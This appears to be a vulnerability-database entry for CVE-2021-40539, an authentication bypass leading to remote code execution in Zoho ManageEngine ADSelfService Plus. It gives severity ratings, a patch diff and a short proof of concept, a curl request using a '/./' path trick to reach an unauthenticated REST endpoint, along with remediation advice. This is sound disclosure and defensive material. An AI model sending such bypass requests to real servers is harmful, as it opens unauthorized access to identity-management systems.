Attacker Value
Very High
(2 users assessed)
Exploitability
Very High
(2 users assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
4

CVE-2021-40539

Disclosure Date: September 07, 2021
Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Zoho ManageEngine ADSelfService Plus version 6113 and prior is vulnerable to REST API authentication bypass with resultant remote code execution.

Add Assessment

1
Ratings
Technical Analysis

Please see the Rapid7 analysis.

Update: I have confirmed that ADManager Plus was also patched against CVE-2021-40539. See the release notes for build 7112. This doesn’t seem to affect /RestAPI/WC endpoints.

1
Technical Analysis

Rapid7’s services teams are observing opportunistic exploitation of this vulnerability in the wild. Sounds like coin miners are the payload so far.

CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis

Description

On September 7, 2021, Zoho published a security advisory and software update for CVE-2021-40539, a REST API authentication bypass vulnerability in ManageEngine ADSelfService Plus that, if successfully exploited, could result in unauthenticated remote code execution (RCE). CISA warns that CVE-2021-40539 is being exploited in the wild, so patching should be performed on an emergency basis.

Affected products

ADSelfService Plus builds up to 6113 are affected.

Technical analysis

The auth bypass appears to be a path normalization bug in REST API routing.

Patch

--- a/ManageEngineADSFrameworkJava.ujar/com/manageengine/ads/fw/api/RestAPIUtil.java
+++ b/ManageEngineADSFrameworkJava.ujar/com/manageengine/ads/fw/api/RestAPIUtil.java
@@ -2,6 +2,7 @@ package com.manageengine.ads.fw.api;

 import com.adventnet.ds.query.Column;
 import com.adventnet.ds.query.Criteria;
+import com.adventnet.iam.security.SecurityUtil;
 import com.adventnet.persistence.DataObject;
 import com.adventnet.persistence.Row;
 import com.adventnet.persistence.WritableDataObject;
@@ -28,6 +29,7 @@ import java.util.logging.Logger;
 import java.util.regex.Pattern;
 import javax.net.ssl.SSLHandshakeException;
 import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
 import org.apache.commons.codec.binary.Base64;
 import org.apache.commons.io.IOUtils;
 import org.json.JSONArray;
@@ -167,6 +169,9 @@ public class RestAPIUtil extends RestAPIUtil implements RestAPIConstants {
       throw new Exception("00000012");
     } catch (IOException ex) {
       out.log(Level.SEVERE, "", ex);
+      InputStream isr = connection.getErrorStream();
+      if (isr != null)
+        return getString(isr);
       throw ex;
     } catch (Exception e) {
       out.log(Level.FINE, " ", e);
@@ -667,10 +672,47 @@ public class RestAPIUtil extends RestAPIUtil implements RestAPIConstants {
     } catch (Exception ex) {
       out.log(Level.INFO, "Unable to get API_URL_PATTERN.", ex);
     }
-    String reqURI = request.getRequestURI();
+    String reqURI = SecurityUtil.getNormalizedURI(request.getRequestURI());
     String contextPath = (request.getContextPath() != null) ? request.getContextPath() : "";
     reqURI = reqURI.replace(contextPath, "");
     reqURI = reqURI.replace("//", "/");
     return Pattern.matches(restApiUrlPattern, reqURI);
   }
+
+  public static Properties getParameters(HttpServletRequest request) {
+    Properties properties = new Properties();
+    Enumeration<String> paramNames = request.getParameterNames();
+    while (paramNames.hasMoreElements()) {
+      String paramName = paramNames.nextElement();
+      String paramValue = request.getParameter(paramName);
+      if (paramValue != null)
+        properties.put(paramName, paramValue);
+    }
+    return properties;
+  }
+
+  public static boolean isProductAPIAllowedOnDemo(HttpServletRequest request, HttpServletResponse response) {
+    try {
+      String requestURI = request.getRequestURI();
+      String contextPath = request.getContextPath();
+      requestURI = requestURI.replaceFirst(contextPath, "");
+      requestURI = requestURI.replaceAll("//", "/");
+      Properties parameters = getParameters(request);
+      JSONObject apiDetails = getAPIDetails(requestURI, parameters);
+      if (apiDetails == null)
+        return true;
+      if (!apiDetails.getBoolean("IS_ALLOWED_ON_DEMO") && CommonUtil.isDemo().booleanValue()) {
+        JSONObject responseObj = new JSONObject();
+        responseObj.put("SEVERITY", "SEVERE");
+        responseObj.put("STATUS_MESSAGE", "ads.restapi.error.url_restricted_for_demo");
+        responseObj.put("eSTATUS", "ads.restapi.error.url_restricted_for_demo");
+        responseObj.put("ERROR_CODE", "00000014");
+        CommonUtil.setResponseJSON(response, responseObj);
+        return false;
+      }
+    } catch (Exception ex) {
+      out.log(Level.INFO, "Exception occured in ADSFilter isAPIAllowedOnDemo :" + ex);
+    }
+    return true;
+  }
 }
  public static String getNormalizedURI(String path) {
    if (path == null)
      return null;
    String normalized = path;
    if (normalized.indexOf('\\') >= 0)
      normalized = normalized.replace('\\', '/');
    if (!normalized.startsWith("/"))
      normalized = "/" + normalized;
    boolean addedTrailingSlash = false;
    if (normalized.endsWith("/.") || normalized.endsWith("/..")) {
      normalized = normalized + "/";
      addedTrailingSlash = true;
    }
    while (true) {
      int index = normalized.indexOf("/./");
      if (index < 0)
        break;
      normalized = normalized.substring(0, index) + normalized.substring(index + 2);
    }
    while (true) {
      int index = normalized.indexOf("/../");
      if (index < 0)
        break;
      if (index == 0)
        return null;
      int index2 = normalized.lastIndexOf('/', index - 1);
      normalized = normalized.substring(0, index2) + normalized.substring(index + 3);
    }
    if (normalized.length() > 1 && addedTrailingSlash)
      normalized = normalized.substring(0, normalized.length() - 1);
    return normalized;
  }

PoC

The following request is largely benign and returns static content.

wvu@kharak:~$ curl -v --path-as-is http://172.16.57.9:8888/./RestAPI/LogonCustomization -d methodToCall=previewMobLogo
*   Trying 172.16.57.9...
* TCP_NODELAY set
* Connected to 172.16.57.9 (172.16.57.9) port 8888 (#0)
> POST /./RestAPI/LogonCustomization HTTP/1.1
> Host: 172.16.57.9:8888
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 27
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 27 out of 27 bytes
< HTTP/1.1 200 OK
< Set-Cookie: JSESSIONIDADSSP=37895862ACDA03D1FACDAC9BD6161568; Path=/; HttpOnly
< Content-Type: text/html;charset=UTF-8
< Transfer-Encoding: chunked
< Date: Tue, 14 Sep 2021 18:53:46 GMT
<
* Connection #0 to host 172.16.57.9 left intact
<script type="text/javascript">var d = new Date();window.parent.$("#mobLogo").attr("src","/temp/tempMobPreview.jpeg?"+d.getTime());window.parent.$("#tabLogo").attr("src","/temp/tempMobPreview.jpeg?"+d.getTime());</script>* Closing connection 0
wvu@kharak:~$

Guidance

Update ADSelfService Plus to the latest build, 6114, using the service pack.


CISA strongly urges organizations ensure ADSelfService Plus is not directly accessible from the internet.

Resources